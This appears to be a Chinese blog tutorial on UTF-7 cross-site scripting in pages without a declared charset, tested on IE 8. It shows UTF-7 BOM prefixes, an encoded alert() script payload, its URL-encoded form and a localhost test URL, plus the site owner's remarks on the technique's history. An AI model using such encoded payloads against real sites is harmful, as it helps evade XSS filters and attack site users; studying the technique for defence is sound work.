UTF-7 XSS 浅析

  • A+
所属分类:lcx

Author:laterain

From:90sec

Test on: IE 8.0

vul.php

sec.php

encode.php {换行符被xxoo了,请自己添加}

UTF-7 XSS CODE Encoding
XSS CODE:
UTF-7 Bom: +/v8 | +/v9 | +/v+ | +/v/ UTF-7 XSS Encode: //调用mb_convert_encoding()函数加密

vul.php 与 sec.php 不同在于 charset 的设置,如果没有设置 charset 那么它就是易受攻击的

因为没有了编码的限制,我们可以使用另一种不常用的编码(UTF-7)来逃过xss的检测

具体方法:

1.先用我写的encode.php将xss代码进行加密

XSS CODE: 

UTF-7 XSS Encode:  +ADw-script+AD4-alert('90sec')+ADw-/script+AD4-

2.将 UTF-7 XSS Encode 添上 UTF-7 Bom 让它成为 UTF-7 的编码

+/v8 +ADw-script+AD4-alert('90sec')+ADw-/script+AD4-

Bom 与 Encode 之间有一个空格哦

在bom与encode之间也可以存在其他代码,

如:+/v8 just for fun +ADw-script+AD4-alert('90sec')+ADw-/script+AD4-

3.如果是POST提交,就可以直接把 UTF-7 编码字符提交出去

如果是GET方式,得先把编码字符进行URL转码,因为浏览器会吞掉+号,我就在这儿停了很久

+/v8 +ADw-script+AD4-alert('90sec')+ADw-/script+AD4-的URL代码

%2B%2F%76%38%20%2B%41%44%77%2D%73%63%72%69%70%74%2B%41%44%34%2D%61%6C%65%72%74%28%27%39%30%73%65%63%27%29%2B%41%44%77%2D%2F%73%63%72%69%70%74%2B%41%44%34%2D

测试vul.php:

http://127.0.0.1/learn/vul.php?note=%2B%2F%76%38%20%2B%41%44%77%2D%73%63%72%69%70%74%2B%41%44%34%2D%61%6C%65%72%74%28%27%39%30%73%65%63%27%29%2B%41%44%77%2D%2F%73%63%72%69%70%74%2B%41%44%34%2D

效果图:

UTF-7 XSS 浅析

相关资料:

http://shiflett.org/blog/2005/dec/google-xss-example

http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

http://zh.wikipedia.org/zh-cn/UTF-7

PS:我写的不一定对哦,有错请纠正啦,谢谢

站长评论:

其实UTF-7 跨站“漏洞”出来很久了,起码有快3年了,最早是2009年某黑客大会提出来的(XSS Lightsaber techniques using Hackvertor,CONFidence2009_gareth_heyes.pdf),不过国内一直无人研究。

去年曾经闹得很火的百度博客跨站漏洞便是 UTF-7 编码惹的祸。

当时网上没有任何UTF-7编码、解码工具,后来,我曾单独写了一个UTF-7 编码、解码工具,可以看看以前的文章。

相关资料:

【XSS】CSS expressions with UTF-7编码

utf-7 编码跨站工具 utf-7 编码 解码工具

文章来源于lcx.cc:UTF-7 XSS 浅析

相关推荐: 每天都要处理T00ls十几个这样的无聊人士

T00ls.Net 帐号申请审核后台: 申请帐号名 传说里的男人 QQ 1759805678 邮箱 [email protected] 理由 我比你们都帅,能通过不? 啥?不能,你们找个比我帅的,看有没? 没吧,一个都没,这不是很现成的事,谁能有我这么帅,切,…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: